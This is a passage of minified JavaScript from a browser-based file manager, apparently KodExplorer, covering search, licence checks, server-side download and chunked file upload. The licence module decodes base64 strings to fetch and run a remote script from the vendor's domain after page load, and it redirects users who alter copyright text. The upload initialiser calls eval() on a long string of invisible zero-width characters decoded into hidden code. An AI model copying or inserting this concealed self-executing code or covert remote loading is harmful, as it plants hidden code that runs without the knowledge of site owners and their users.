i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&t.html("<span>"+LNG.seach_result_too_more+"</span>")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){v(),s=setInterval(function(){v()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 